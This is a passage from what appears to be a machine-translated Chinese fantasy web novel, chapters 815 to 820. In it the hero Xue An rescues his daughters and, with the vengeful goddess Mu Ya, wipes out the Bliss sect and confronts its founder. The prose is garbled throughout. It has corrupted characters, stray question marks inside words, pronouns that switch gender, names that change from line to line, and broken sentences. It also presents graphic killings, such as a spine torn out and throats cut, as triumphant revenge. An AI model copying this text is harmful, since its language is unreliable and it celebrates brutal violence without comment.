    Bai Qing''er could no longer hold back, and was about to rush into the battle group to stop all this.


    At this moment, the sky suddenly darkened.


    Then from the midair came a voice that was cold and filled with anger.


    "Dare to bully my daughter, you all have to die today!"


    Everyone trembled, then looked up.


    I saw the originally clear sky, I don''t know when it has been shrouded by the terrifying air of the stormy waves.


    The sky is dim, the sun and the moon are dark.


    Under such terrifying power, a figure appeared high in the sky, with raging anger burning in his eyes.

 Chapter 815： Bloodbath the audience

    "It''s Dad!"


    "Dad is back!"


    The two little girls cheered.


    Xue An''s figure appeared beside them instantly, and then he hugged them both.


    "Dad, you are finally back! We are so scared!"


    "Yeah, Dad, what happened to you? Both of us were terrified!"


    The two little girls put their arms around Xue An''s neck and said grievedly.


    Xue An naturally understood that when he was almost taken advantage of by the demons in his dream, the call should come from An Yan and these two little guys.


    Thinking of this, he couldn''t help being filled with guilt.


    "I''m sorry, it was Dad who scared you! Dad promises that this will not happen again!"


    "Hmm!" The two little girls nodded together.


    "But Dad, Mom hasn''t woken up yet!" Xue Xiang said with some worry.


    Xue An can naturally feel the Qi from An Yan in the bedroom behind him.


    He could see that An Yan had touched the seal because of excessive use of his cultivation base, and as a result, his cultivation base was shaken and he passed out in a coma.


    Although it was fine, it made Xue An very annoyed.


    Yan''er, don''t worry, we will start to think of ways to break the seal.


    Xue An thought silently in his heart.


    then raised his head and looked at Hua Wushuang and others.


    As far as I can see, these people can''t help but take a step back.


    Because of Xue An''s appearance, it is simply amazing.


    What''s more, the sky is getting darker now, as if a huge storm is brewing, making people feel palpitated.


    "Dad, this fat guy is bullying us!"


    "Well, what else did she say is to take us back for training? What kind of top card?"


    Hearing the words of the two daughters, Xue An could no longer suppress the anger in his heart.


    "Kneel down!"


    The Hua Wushuang was trembling.


    She could feel the surging weather on Xue An''s body.


    She has never seen this kind of momentum, and she hasn''t even seen such a powerful momentum on the owner.


    So she was so shocked that she quietly stepped back.


    But at this moment, Xue An''s knelt on her knees gave her no room to struggle, and she was pressed to the ground by the terrifying power of Xue An.


    boom.


    Her knee burst due to excessive pressure.


    Hua Wushuang''s painful face was distorted, but she still calmly said: "You...how did you come out? How about my master and the Young Master Fierce Demon?"


    Xue An said coldly: "I have killed all those people!"


    "No...impossible! How could you have killed so many powerful people? You must be lying! You must be!" Hua Wushuang cried out in disbelief.


    At this moment, the few sword slaves who cut the Red Mansion saw the bad situation and fled in all directions.


    Xue An didn''t even look at them.


    These sword slaves were overjoyed, but at this moment, an extremely bright sword light slashed across the air, and then, like a dragon, instantly slashed these people down from the air.


    Then Xue Liuli and the figure of the Heavenly Girl of Elysium appeared in the field.


    These two people appeared.


    Hua Wushuang, who was still holding the last glimmer of hope, was completely desperate.


    And the few sword slaves who had their hands and feet severed and fell from the air to the ground even screamed.


    "Snow... Snow drifting away?"


    Xueliu said coldly: "Yes, it is me! Do you think I am still alive, you are surprised?"


    These sword slaves trembled and stared at Xueliu with horror.


    They could see that Xueliu, who had retreated in the kendo, was so powerful at this moment. It was apparently restored to its original strength and several times stronger than before.


    And she can come out alive, it also proves that both the original poster and Xing Dannan are finished.


    These thoughts made these sword slaves who betrayed Xueliu startled.


    At this time, after seeing the heavenly lady of bliss, Hua Wushuang yelled anxiously as if he had seen a straw for life, "My lord god, help me!"


    The blissful goddess was silent, but looked at Xue An.


    Xue An stretched out his hand and made a please gesture.


    The bliss goddess stepped towards this Hua Wushuang.


    Xue An saw this and silently blocked the consciousness of the two daughters.


    At this time, Hua Wushuang was overjoyed, "My Goddess, thank you for saving me! This is also for the development of our Bliss Fang, so I will make this bad decision..."


    At this time, the blissful goddess had walked up to Hua Wushuang, looked at her quietly, and then shook her head, interrupting her.


    "you are wrong!"


    The expression on Hua Wushuang''s face solidified, and then looked at the Heavenly Lady of Paradise with incredible eyes.


    "God...My Goddess, you...are you able to talk?"


    The bliss goddess nodded.


    Hua Wushuang''s eyes flashed with trepidation, but she forced a smile, "That''s great! The goddess can finally speak! It''s not in vain that Lord Fangzhu and the elders bothered so much!"


    The blissful goddess said lightly: "Thank you? I can''t talk. Isn''t it your gift?"


    As soon as ���� said these words, Hua Wushuang trembled all over, and a look of horror appeared on his face.


    But the ecstasy goddess didn''t seem to see it, and then said: "Do you know why I said you were wrong?"


    Hua Wushuang tremblingly shook her head.


    "Elysium is not ours, but yours! And I... will be the one who buried you by myself!"


    Following the voice, the bliss goddess slowly raised her hand.


    "No...no! Lord Goddess, I only heard what happened in your house after listening to my master. It has nothing to do with me! Please don''t kill me!" Hua Wushuang yelled frantically.


    There was a cold light in the eyes of the heavenly lady of bliss, "It turns out that you all know, but you have been keeping it from me! Hahahahaha."


    The bliss goddess let out a nervous laugh.


    This Hua Wushuang ignored the pain in her knees. She tried her best to leap up from the ground with the strength of her thighs, turned her head and ran.


    The Heavenly Lady of Elysium slapped her palm without stopping, she stretched forward and grabbed Hua Wushuang''s neck from behind.


    Hua Wushuang still wants to scream.


    The blissful goddess''s expressionless fingers thrust in suddenly, and then pulled it out.


    ��.


    There was a sound of flesh and blood being torn apart The spine of Hua Wushuang was torn out by the blissful girl.


    Hua Wushuang became soft and died absolutely.


    The bewildered face of Goddess of Bliss was splattered with blood, she lightly touched a little with her hand, tasted it on her mouth, and then giggled.


    No one dared to speak.


    Everyone was stunned by this **** scene.


    It wasn''t until a moment later that Xue Liuli said coldly, "Now, do you do it yourself or let me do it?"


    These sword slaves all looked desperate, "Master Xue..."


    Xue Liuli nodded, "Got it!"


    After that, she waved her hand suddenly.


    The sword was like a dragon, and instantly cut the throats of these sword slaves.

 Chapter 816： Dad, I want to eat braised

    A sickening smell of blood permeated the small courtyard.


    Bai Qing''er looked at her blankly, she couldn''t believe everything in front of her.


    The Master Sister Hua Wushuang and the Sword Slaves of Zhan Honglou died like this?


    , especially Hua Wushuang, was actually killed by the Heavenly Lady of Bliss.


    This kind of same-door cannibalism made Bai Qing''er''s heart full of horror.


    At this moment, the Heavenly Lady of Bliss turned her head to look at Bai Qing''er, raised her blood-filled corners of her mouth, and smiled sensibly, "You...seem to be from Bliss Square too!"


    Bai Qinger usually stays in the auction guild and rarely goes to Elysium, so the ecstatic goddess does not have a deep impression of her.


    Bai Qing''er trembled all over, and hurriedly said loudly: "My Goddess, these things have nothing to do with me! I''m here to stop Hua Wushuang."


    Jian Qi also said at this time: "My Lord, this Bai Qinger has been blocking Hua Wushuang just now. I have seen these with my own eyes!"


    The bliss goddess gave Bai Qing''er a cold look before turning around and leaving.


    Bai Qing''er took a sigh of relief, and couldn''t help but cast a grateful look at Jian Qi.


    The Heavenly Lady of Bliss walked up to Xue An and fell to her knees.


    "My lord, I have one thing, please fulfill it!"


    Xue An lightly said: "What? Do you want to kill this Bliss?"


    The Heavenly Lady of Elysium nodded, "Elysium, I will destroy it!"


    Xue An smiled slightly, "That''s good! Wait a moment for me, I will accompany you this time!"


    After that, Xue An turned and walked into the bedroom.


    An Yan was still lying in bed at this time and awake.


    Xue An stood by the bed and watched, and whispered, "Yan''er, don''t worry, when this happens, I will take you to a place to crack the seal!"


    While speaking, Xue An released the shielded consciousness of the two daughters.


    "Dad, I''m so hungry!" Xue Nian said pitifully.


    "Well, we haven''t eaten for a day!" Xue Xiang also agreed.


    Xue An felt so distressed.


    "Let''s talk, what do you want to eat! Dad will make it for you!"


    "I want to eat it again!" Xue Nian said with bright eyes.


    "I want to eat steamed fish!" Xue didn''t show weakness.


    Xue An smiled, "Okay! Dad will do it for you now!"


    After that, Xue An opened the mustard ring.


    There are a lot of ingredients stored in it.


    And because of the characteristics of this mustard ring, the ingredients stored in it will not spoil, and will always keep the freshness when put in.


    The doors and windows of the kitchen have just been damaged.


    Xue An simply opened the sky and started cooking.


    The Xueliu in the small courtyard, the Heavenly Lady of Bliss, and Bai Qing''er and others stared blankly.


    Who would have thought that someone who is extremely decisive in doing things, and who is unique in strength, has such a warm side?


    Especially looking at the extremely skilled look, it seems that the cooking skills are very good!


    I saw him wave his hand casually, a sword gas wrapped the incomparably tender wild yellow croaker, and then the sword light flashed and the scales of the fish fell.


    Xue Liuli is almost silly.


    Can Jianmang be used to peel fish scales?


    was in surprise, and saw that this yellow croaker was instantly broken open from the middle, the internal organs were removed, and the small spines in the fish were also removed by strands of sword awns as thin as cow hair.


    Seeing this scene, Xue Liuli took a breath.


    She asked herself if she could peel fish scales with sword energy, she could barely do it.


    But using sword energy to pick fish bones like this, it''s so easy.


    The difficulty has increased by more than a hundred times.


    From this, it can be seen that Xue An''s kendo is simply beyond her expectations.


    At the same time, Xue An waved his hand, and a white flame covered the piece of pork.


    In an instant, the hard-to-remove pig hairs on the pigskin disappeared.


    At the same time, the epidermis is slightly browned and emits a slight burnt fragrance.


    Smelling this smell, Bai Qinger secretly swallowed his saliva, and then took a few steps back with a very strange expression.


    She was not seduced by the fragrance, but when she saw this white flame, she remembered the corpses that had just been burned to nothing.


    This always makes her feel a little strange.


    soon.


    The ingredients were processed and suspended in midair.


    Xue An turned his head and took a look.


    "Huh... where''s the pot?"


    Xue thought a little embarrassed and lowered his head, "Dad, I just wanted to steam the buns by myself, but the hateful Lei Zun didn''t pay attention when he ignited and burned the pot!"


    Xue Nian echoed: "That''s right, that Lei Zun is simply too damnable!"


    Xue An laughed dumbly, and then gently rubbed Xue Xiang''s head, "Silly girl, you can still steam buns?"


    "Yes! I have seen mom steamed buns!"


    "Yes, the steamed buns that my sister made are big and round, but it''s good!"


    Xue An looked at these two weird little girls with a funny heart, but nodded, "It turns out to be like this, it''s great to think about it!"


    "But Dad, what should I do now? How can I cook without a pot?" Xue Xiang said anxiously.


    Xue An smiled, "Didn''t you say that Lei Zun burned your pot? Then let him redeem his merits now!"


    said, Xue An stretched out his hand, "Come here!"


    was hiding in the trembling pan in the corner, and flew over after hearing this.


    Then came Lei Zun''s flattering voice from inside.


    "My lord, things are not like this, listen to me to explain..."


    Xue An said lightly: "Stop talking nonsense, now give me honest cooking! Understand?"


    "But..."


    "Ok?"


    "No problem, my lord! It is my honor to be able to cook for you."


    Lei Zun said quickly, but her heart was frantically complaining.


    I must have committed some monstrous mistake in my last life, otherwise, why would I fall into the hands of this guy in this life?


    It''s sigh that my fame as Lei Zun I of the Ninth Revolution was actually reduced to cooking!


    Although he was reluctant in every possible way, Lei Zun still did not dare to defy Xue An''s order and obediently changed into a suitable pot, and then a slight electric spark began to flash at the bottom of the pot.


    "You big liar, don''t you say that you can''t ignite? Then what is this?" Xue Xiang said with an angry little faceYes, you are bullying our little ones! "


    Lei Zun trembled slightly, and then said quietly: "Two little ancestors, this is my newly figured out!"


    Xue An said lightly at this time: "Stop talking nonsense, start!"


    Then everyone was stunned to watch Xue An fry the ingredients processed with Sword Qi and Shenhuo with a mouthful of Lei Zun''s pot.


    This meal, not to mention that there will be no one to come, but at least it is unprecedented.


    Especially when the tangy scent came out, most of the people in Bliss City could smell it.


    Xue An only smiled when watching the two daughters devouring food.


    then lightly said: "Xue Liuli, you stay with the caregiver, Mu Ya, you follow me!"


    The blissful goddess said solemnly: "Yes!"

 Chapter 817： Not rebellion, but annihilation

    Xue An stepped forward and came to the sky above Bliss City.


    this moment.


    The entire Elysium City is also slightly commotion.


    After all, the power that Xue An had just brought in anger was so amazing that until now, the black clouds in the air have not dissipated.


    Countless people looked up at Xue An standing on the top of the black cloud, all showing awe.


    Xue An said lightly: "Before I go, there must be something to do!"


    After that, Xue An raised his fist and blasted out.


    This fist seemed to shake the world, and the black clouds all over the sky gathered frantically with this fist and blasted forward.


    The Bliss Tower, located in the center of the city, was originally glorious, singing and dancing.


    But with Xue An��s shocking punch, the many powerful people who stayed behind in the Bliss Tower screamed, and then rushed out instantly, wanting to resist.


    can be helpless.


    The cultivators of them were simply too small under Xue An''s punch that shook the world.


    Under the mighty dragon-like fist wind, these powerhouses did not even have time to scream, and they all turned into powder.


    Immediately after this extremely sturdy Bliss Tower, after a groan, it began to disintegrate and shatter, turning into a sky full of smoke and dust, and slowly falling to the ground.


    Everyone in Bliss City stared blankly.


    Some people took a sip of water subconsciously.


    Because this punch is simply too scary.


    The Bliss Tower, which was still standing in the middle of the city just now, turned into smoke directly under this punch.


    Even the strong in those buildings have become fans.


    With a punch, the city was shocked.


    Xue An retracted his fist and said faintly: "Let''s go! The next one is Elysium!"


    The bliss goddess nodded and turned into streamer to lead the way.


    Bliss House is in the Big Dream Mountain.


    The main peak of the Damengshan Mountain is so high that the mountains are endless. It is known as a hundred thousand miles of mountains.


    This Bliss Fang is in this deep mountain.


    And after thousands of years of operation, there are various traps and illusions in the depths of the Big Dream Mountain. If someone who is not familiar with the road enters it, he will definitely die.


    So over time, this Big Dream Mountain has become a forbidden place, and no one dares to bother.


    Therefore, there are countless ferocious beasts living in the depths of this mountain.


    this moment.


    These group of spirit beasts are wandering and eating in the mountains.


    suddenly.


    There are two streamers across the sky.


    Wherever ���� passed, all the spirit beasts crawled on the ground, shivering.


    Because the power is terrible.


    As a spirit beast, he is more sensitive to this kind of aura, and naturally more frightened.


    So where Xue An flew by, the beasts bowed their heads, and this Great Dream Mountain, which had never stopped howling, became extremely quiet at this moment.


    Even this Big Dream Mountain is trembling slightly, as if to welcome the arrival of a supreme emperor.


    Xue An strolled in leisurely.


    Wherever ���� passes, there will be bursts of crackling noises from time to time, and all kinds of brilliance flash past.


    Those are all traps arranged in mid-air by Bliss.


    This thing may be an insurmountable moat for other practitioners.


    But for Xue An, it was a small mud pit that didn''t even bother to hide.


    In the midst of this violent breakdown, Xue An and the Heavenly Girl of Bliss went straight to the Bliss Square hidden in the deepest part of the mountain.


    at last.


    A magnificent city appeared in the distance.


    This city stands on the top of the cloud and mist of Dameng Mountain, surrounded by a variety of colorful brilliance.


    There are more kinds of spirits and strange beasts.


    faintly, you can even hear the laughter coming from the city.


    is really like a fairyland.


    Elysium, here it is!


    boom!


    Xue An rushed straight towards the big city.


    Along the way, brilliance lingers, bursts of sound.


    It can be seen that the magic array of traps here has been incredibly dense.


    But all this does not constitute a slight obstacle to Xue An.


    His speed hasn''t been reduced at all, and he still rushes forward as a stroll in the courtyard.


    An angry voice came from this bliss.


    Obviously Xue An''s big battle has already shocked the people inside.


    "Who? I dare to break into the forbidden area of ??My Bliss Square! Huh, Lord God?"


    Following the voice, a middle-aged woman with a beautiful face appeared in the air, and then she said in surprise.


    Xue An stood with his hands behind and smiled slightly, "Who is she?"


    The Lady of Bliss took a few steps forward, and said lightly: "Sister Ling Xiao, the third elder volley."


    The volley asked with some doubts at this moment: "My Goddess, what is going on?"


    The Heavenly Lady of Bliss whispered, "Vatican Blue Phoenix is ??here, tell her to come out and see me!"


    Upon hearing this name, Volley''s complexion couldn''t help looking a little hard.


    "My Goddess, although you are a saint, you still have the necessary respect for the owner. How can you say anything about her old man''s name? What''s more, you brought a man back, even more so Violated the taboo of this school!" This volley talked freely, his face full of arrogance.


    She does have this qualification.


    Because she was originally the elder in charge of Rewarding and Punishing Evil at Bliss.


    The blissful goddess snorted coldly and slapped her hand when she raised her hand.


    Snapped!


    This slap flew the volley fan hundreds of feet away.


    After she stood still, her cheeks were already swollen and tall.


    "Mu Ya, what do you mean?"


    The blissful goddess said lightly: "It''s nothing, just some accounts, I have to calculate with you!"


    Lingkong''s face changed a lot when he heard the words, "You...what do you mean?"


    "In a mere few decades, have you forgotten what you did to my family?"


    The blissful goddess'' words shocked Volley, and exclaimed: "Who told you! Was it this man? Muya, don''t believe in the bewilderment of outsiders, and do things that make loved ones hurt the enemies faster!"


    said, the volley rushed towards Xue An with a vicious face, "You are a villain who provokes a divorce, I must kill you today!"


    "Noisy!"


    Xue An snorted lightly, snapping his fingers.


    The volley that had just rushed to the front was directly blown into shape.


    After a while, an angry roar came from this Bliss City, "Mu Ya, you colluded with foreign enemies, do you mean to rebel?"


    Mu Ya shook her head, "It''s not a rebellion, but annihilation!"


    These extremely cold eight words come out.


    A strong breath burst out from the entire Bliss Square.


    Each of these auras is extremely powerful, and there is even the existence of strong golden immortals.


    The combination of ���� formed a vast and unparalleled aura, which made Damengshan tremble with a radius of 100,000 miles.


    The blissful goddess was the first to bear the brunt. She was forced to retreat for more than a dozen miles, and she turned pale, showing a slumping look, and she was obviously hurt by this momentum.


    Xue An smiled coldly, took a step forward, faced the vastness of the sea alone, and then gave a soft drink.


    "Go!"


    gave an order.


    The vast momentum that had filled the space between the earth and the sky condensed, and then burst into pieces.


    There were countless grunts in the Bliss.


    momentum also weakened.


    But at the same time, a voice with three-point anger resounded through the world.


    "Who is so bold, who dares to take advantage of my retreat and come here to disturb my Paradise?"

 Chapter 818： 1 hit

    Following the voice, a woman with an illusory figure appeared in the sky above Elysium.


    Behind her, a dozen elders lined up.


    The volley who was just beaten by Xue An was also among them.


    This woman can''t tell how old she is, but her figure is a perfect S-curve. If she is a person with a weaker concentration, she will sink into it at the first glance, and she will never be able to break free.


    It can be seen how terrible this person''s charm skills are.


    The person who came is exactly the owner of Bliss Fang, the Brahma Blue Phoenix who is known as the number one charm technique for thousands of years.


    this moment.


    This Brahma Blue Phoenix stood high in the sky with a solemn expression, "My friend, what hate and grudge do I have against you at Bliss, why did you call the door? And to provoke the relationship between the saint and my faction?"


    Xue An chuckles when he hears the words, "Provocative? No, I just can''t understand your behavior, so just follow along and join in the fun!"


    At this time, Mu Ya said in a cold voice: "Vatican Blue Phoenix, why don''t you dare to embody yourself? Instead, you hide behind and use a virtual image to fool me?"


    "Muya! I know why you resent us so much! But you have to believe that we are really sincere to you! Your Brahma charm is extremely scarce and powerful. If you are trapped in those boring family relationships, you will It''s a huge waste. That''s why we made the best move to help you achieve the supreme achievement! You must understand our good intentions!"


    "Good intentions?" Mu Ya looked up to the sky and smiled, but with the laughter, tears and blood shed in her eyes.


    "My father is loyal and kind to others, my mother is gentle and virtuous, and my sister is dignified and Shude. I originally had such a perfect family, but you have ruined all this for the sake of the brahma and charisma of Raoshi! Now you dare to say yes. For my good?"


    Muya''s voice didn''t make any waves, but it made people feel weeping.


    "Mu Ya, if you want to become a fairy and an ancestor, it is necessary to cut off the relationship between the dust, those boring family affection and joy are just vain, you..."


    "Go to your mother to become a fairy and be your ancestor!" Mu Ya hissed angrily.


    "Do you know what I experienced that night?"


    "I''m like a dead dog, hiding in a secret room, listening to my dearest sister being tortured and gradually dying!"


    "And my parents'' corpses are lying in the courtyard gradually cold!"


    "But when they die, you only get a boring and vain sentence?"


    The breath of ���� Elysium Goddess fluctuates, her eyes are shining brightly, and at the same time a strange fragrance envelopes the entire Elysium.


    "This...this is!" Fan Qinghuang was slightly startled.


    At the same time, the bliss goddess has already rushed up like crazy.


    "I want you to die! I want you people to pay for my sister and my parents!"


    boom.


    The bliss goddess took a palm.


    Fan Qinghuang and the virtual images of these elders were all shattered by a palm.


    But then, a bright crystal-like light curtain appeared over this Bliss Square, and various regular runes appeared on it.


    Mu Ya''s palm didn''t even arouse a ripple, so it was offset by the light curtain.


    "It''s useless! Muya, listen to my advice. Your talent can be said to be the best since the establishment of the entire Elysium. As long as you are willing to lower your head, then I can tilt the entire Elysium''s resources towards you. Over time, You are not only a true immortal, but you may even hit the fruit position of Supreme Luo!"


    "By then, you will have a long life, how happy you will be in the world!"


    Mu Ya didn''t seem to hear her, she still bombarded like crazy.


    But her attack can''t shake the light curtain at all.


    At this moment, Xue An said lightly: "Okay! Stop it!"


    These words made Mu Ya gradually wake up from her madness.


    At this moment, her hands have been blurred by the force of the light curtain''s counter shock, but the strange fragrance has grown thicker.


    "Big...sir!"


    Xue An looked at this light curtain, and said lightly: "This mountain protection formation connects the spirit veins of the entire Big Dream Mountain! You can''t help it!"


    Mu Ya looked desperate.


    Below that light curtain, the figure of the Brahma Blue Phoenix gradually emerged, and then said coldly: "Man, you have a good vision!"


    Xue An smiled, "Thanks for the praise, but others can''t help it, I want to give it a try!"


    While speaking, Xue An raised his fist and blasted out.


    boom.


    After a loud noise.


    There was a ripple on this light curtain, and even the entire Bliss Square was trembling slightly.


    But even so, this light curtain still exists tenaciously, even brighter and brighter.


    "It''s useless! One hundred thousand miles of the Great Dream Mountain, the spiritual veins are so deep that they can''t be shaken by humans at all! In front of this mountain guardian formation, even if the true immortal is here, you have to say nothing!"


    Brahma Blue Phoenix stood proudly, looking at Xue An through the light curtain with disdain.


    Seeing that even Xue An had not blasted the mountain guard, the color of despair on Mu Ya''s face grew thicker.


    But at this moment, Xue An laughed.


    "Do you really think that this layer of tortoise shell can block me?"


    "Well, today, I will let you see and see, what is real power!"


    After that, Xue An stepped forward and came to the sky above ninety thousand miles.


    Everyone looked up.


    I saw the sky full of stars like diamonds and the moon like lights at this moment.


    Xue An was standing before the full moon, as if an ancient **** descended to the world, which made people afraid to look directly.


    What is he doing?


    Fan Qinghuang and everyone in Bliss Square changed their expressions, not understanding what Xue An was planning to do.


    at the same time.


    I saw Xue An step forward, holding a high mountain in both hands, and then suddenly gave a soft drink.


    "Get me up!"


    rumbling.


    After a loud noise like a roar of a dragon, an enormous mountain was shaken by Xue Ansheng and pulled up.


    Everyone in Bliss Square is stupid.


    Especially Fan Qinghuang, she stared blankly at Xue An who had pulled up a mountain, her brain was blank.


    Although it is said that immortals can move mountains and fill the sea, it is difficult even for golden immortals.


    It is possible that only by becoming a real immortal, or even a strong person above the real immortal, can he truly move mountains and fill seas and vicissitudes of life.


    So when Brahma Blue Phoenix saw this scene, a thought that shocked her suddenly rose in her heart.


    Could it be... this man is a true fairy powerhouse?


    at the same time.


    Xue Anti rose up from the mountain, and then said lightly: "This gift I hope you like it!"


    said, this ten thousand-foot mountain smashed into the Bliss Fang.


    looked at this mountain getting closer and closer.


    Countless people in Bliss Square all screamed.


    "Run!"


    As soon as the voice fell, there was a loud bang.


    Wanzhang Gaofeng smashed directly on the guardian formation of the Paradise of Bliss.


    this time.


    The crystal-like light curtain flickered wildly for a few times, and then gradually dimmed.


    at last.


    only heard a crisp sound.


    The light curtain finally couldn''t withstand such a heavy blow, and it shattered.

 Chapter 819： Patriarch of Bliss

    Wan Zhang Gao Feng directly smashed the entire Bliss Square.


    rumbling.


    This exquisitely shaped city suffered a disaster and was completely crushed by the entire mountain.


    As for the strong insiders, they were all smashed into meatloaf.


    When the smoke clears.


    Looking at this city again, it seems to be a piece of white ground.


    "Dead...dead?" Mu Ya was shocked by Xue An''s shocking blow, and asked tremblingly.


    Xue An clapped his hands and said lightly: "Not yet!"


    As he said, the light in his eyes was brilliant, and he looked around, a cold smile appeared at the corner of his mouth.


    Then he raised his hand, stepped, and punched.


    boom.


    This boxing was in the void, but there were several cracking sounds.


    Then the void suddenly shattered, revealing a secret world inside.


    The Brahma Blue Phoenix and the elders who fled in embarrassment were among them.


    Fan Qinghuang was the first to escape.


    Because after seeing Xue Ann''s blow, she understood that this man was an existence she couldn''t afford.


    In order to survive, she fled to the ancestral land of Bliss Fang without hesitation.


    This is the burial place of those who are close to their lives, but have no ability to break through their own cultivation.


    With this escape, the elders rushed in even more.


    They only took a breath after entering it.


    "Who is this man? Why is he so strong?" An elder asked with lingering fear.


    "Who knows! But it seems that she came with the Heavenly Lady of Elysium! Could it be the backer the Lady of Elysium found?"


    "This must be the case, this bitch, we have so carefully nurtured by Bliss Square, but she colluded with outsiders to destroy her own teacher, it is really awful!"


    The elder who spoke deliberately ignored what they had done to Mu Ya before.


    "Enough!" Fan Qinghuang snorted coldly.


    Under the prestige, all these elders dare not say anything.


    "This thing absolutely can''t just leave it! I guess it''s completely finished by now! After we go out, we will find a way to find out the details of this man first, and then think of a way to eliminate you!"


    "What the owner said is extremely true!"


    "The owner is wise!"


    Until this time, these elders did not forget to slap their horses.


    But at this moment, Xue An��s voice came in, ��No need to inquire, my name is Xue An, it��s that simple!��


    heard this sentence.


    Fan Qinghuang and others were horrified, but turned their heads to look.


    I saw a huge hole in the secret realm.


    Xue An stood there, smiling and looking at everyone.


    This scene almost fainted the top executives of these Bliss.


    "Xue An, we have no grievances and no enmity with you at Bliss, why are you rushing to kill them all?" Fan Qinghuang shouted, and at the same time hurried back.


    Xue An said calmly: "You are right. I and you at Bliss Square have no grievances or grudges, but what you said just now made me very disliked. If you become an immortal and an ancestor, do you have to cut off your love? "


    This sentence made Fan Qinghuang and others startled slightly.


    "You... are you trying to destroy my bliss because of this?"


    Xue An nodded, "Yes!"


    Brahma Blue Phoenix could hardly wait to slap himself.


    If you didn��t say these words just now, would you be fine now?


    But there is no regret medicine in the world to buy.


    She can only say as calmly as possible: "Xue An, just assume that I was wrong. I hope you can give us a chance. How about exposing this grudge?"


    Xue An smiled slightly, "Not good!"


    As soon as Xue An raised his hand, countless sword lights appeared in the air, and then rushed towards this secret realm.


    "No..." Fan Qinghuang exclaimed.


    At the same time.


    Just listened to a sigh coming from this secret realm, and then a faint female voice said: "The strong, my Bliss Square has been destroyed by you, just give me a face, let go of my disciples and grandchildren, how? "


    Xue An stood with his hand in his hand, and Jianmang appeared around his body, and said coldly: "Are you finally willing to appear?"


    "The strong, you already knew that I was there?" With the voice, an old woman appeared in the void.


    saw this figure.


    The Brahma Blue Phoenix and the elders all shook all over, and then knelt down with excitement.


    "I have seen Master!"


    That''s right.


    The one who appeared in the void was the founder of the mountain, Chu Lele, who founded Bliss.


    Fan Qinghuang fell to his knees, an uncontrollable smile appeared on his face.


    Shizu all appeared.


    This Xue An is going to be unlucky.


    But Xue An smiled coldly when facing this Chu Lele, "Yes, I felt your presence when I pulled up the mountain and destroyed the Bliss Square!"


    Chu Lele''s expression changed, and then he sighed slightly, "It''s really a talented person from generation to generation! I just moved a little, did you feel it?"


    Then Chu Lele raised his head to look at Xue An, "Young man, do you know why I didn''t stop your movements?"


    Xue An did not speak, and simply hugged his shoulders and looked at it with interest.


    Chu Lele continued: "Because what my disciples and grandchildren did is really bad, so this time the right is to teach them a lesson! As long as you are willing to let them go, I will never pursue this matter. What do you think?"


    Hearing what his master said, the complacency on Fan Qinghuang''s face solidified.


    She thought that her master would teach this Xue An a good lesson, but she didn''t expect that she would just let it go just like this lightly?


    But the next sentence of Xue An greatly exceeded the expectations of the Fan Qinghuang and others.


    I saw him shook his head, "No!"


    Chu Lele''s expression changed, "young man..."


    Xue An waved his hand, "Okay, don''t just call someone young, as if you are how old you are."


    "And do you really think I can''t see it?"


    Speaking Xue An looked at this secret realm, and said lightly: "The reason why you didn''t stop me from destroying you Elysium just now is not because you didn''t want to stop it, but you did it at all. No way!"


    "And if I''m not wrong, you can''t leave this secret realm at all, because your birthday has already arrived. Only in this secret realm that you have painstakingly built, you can survive, as long as you go out, you will instantly It will turn into fly ash, am I right?"


    These words made this Chu Lele''s expression change drastically.


    "you����."


    "How did I know?"


    Xue An smiled faintly, "Someone uses the same methods as you, but the difference is that he is to stick to his beliefs, but you are to live a dirty life."


    Chu Lele''s expression changed, and finally a cold smile appeared on the corner of his mouth.


    "To be honest, you really surprised me, but do you really think that I can''t help you?"

 Chapter 820： Burn the world

    Stop talking.


    The secret realm crack opened by Xue An was quickly repaired.


    In an instant, it returned to its original state.


    Then Chu Lele''s aura became stronger and stronger, and even merged with this secret realm.


    "The strong, since you came in, I have been quietly repairing the damaged space. Now the connection between heaven and earth and Guiyi has been severed by me, and you can��t get out! And in this secret, I am The omnipotent god!"


    At the end, Chu Lele laughed extremely arrogantly.


    Even the Fan Qinghuang and others all showed triumphant and cruel smiles.


    Under the pressure of Chu Lele''s momentum, Xue An''s sword beams around her body spun wildly, trying to resist, but as Chu Lele said, in this secret realm, she was almost omnipotent.


    Therefore, Xue An''s sword beam was gradually shrinking, and his aura was suppressed to the lowest level.


    "Now kneel down and beg for mercy, I can consider leaving a strand of your soul! Only occupy your body." Chu Lele''s eyes were full of greed.


    Because Xue An''s physical body is too strong, if he can seize the house, he can leave this ghost place, and may even go further and attack the Supreme Heavenly Dao.


    Xue An smiled.


    "Only you, dare to say that you are omnipotent?"


    "Today, I will let you see what is truly omnipotent!"


    After that, Xue An''s sword light suddenly stagnated, and then it condensed into crystal-like jade lotus flowers.


    Lotus appeared.


    The momentum that was originally suppressed began to rise.


    Then he didn''t wait for Chu Lele to react.


    In Xue An''s eyes, two flames, one white and one red, suddenly appeared.


    Then he took a step forward and shouted coldly: "Broken!"


    Following Xue An''s voice, two flames gushed out from Xue An''s eyes, and combined with the sword-qi lotus that had condensed around his body, turned into an endless sea of ??flames, and pounced on Chu Lele and others.


    Chu Lele was startled slightly, then grinned and said, "Small bugs, kill me!"


    There was a violent fluctuation in the secret world, and it began to crazily weaken the offensive of the sea of ??fire.


    "Xue An, do you dare to show off with just such a skill? Go to hell!" Chu Lele laughed wildly.


    At this moment, Xue stood quietly in the middle of this endless sea of ??fire, surrounded by lotus flowers, like a god.


    Then he said lightly: "The blazing dragon, get up!"


    boom.


    The two distinct red and white flames were intertwined, and then quickly condensed into a flame dragon body that people dare not look at.


    I saw the dragon''s body was red and white, and it was very lifelike, but only the position of the dragon''s head was blurred.


    at the same time.


    The sword qi lotus that filled the sky crazily poured into the head of the Shenlong, and the dragon''s head quickly began to condense.


    In a flash.


    A wild dragon with a sword beam as its head and a double flame as its body appeared between the heaven and the earth, and a pair of dragon eyes looked down at Chu Lele and the others.


    As far as Long Wei can reach, the space is making a fine cracking sound.


    At this time, Chu Lele finally couldn''t keep calm, and suddenly changed her expression: "This... how is this possible!"


    She found that she could no longer control the world like just now.


    When Longmu was watching, a very strong premonition of danger rose in her heart.


    This made her tremble all over.


    Xue An yawned boredly at this time, "Well, the matter should be over now! Burn this place!"


    Give an order.


    The Shenlong made a sound of dragon chants that shook the world, and Chu Lele could barely support it.


    However, Fan Qinghuang and the others were already unsteady.


    Then Shenlong opened his mouth and vomited, and a group of almost transparent golden flames appeared between heaven and earth.


    Although they are far apart.


    But Chu Lele could still feel the almost terrifying heat on the golden flames.


    It seems that just a glance is enough to make one''s beard and eyebrows burn.


    "This is..." Chu Lele was wondering.
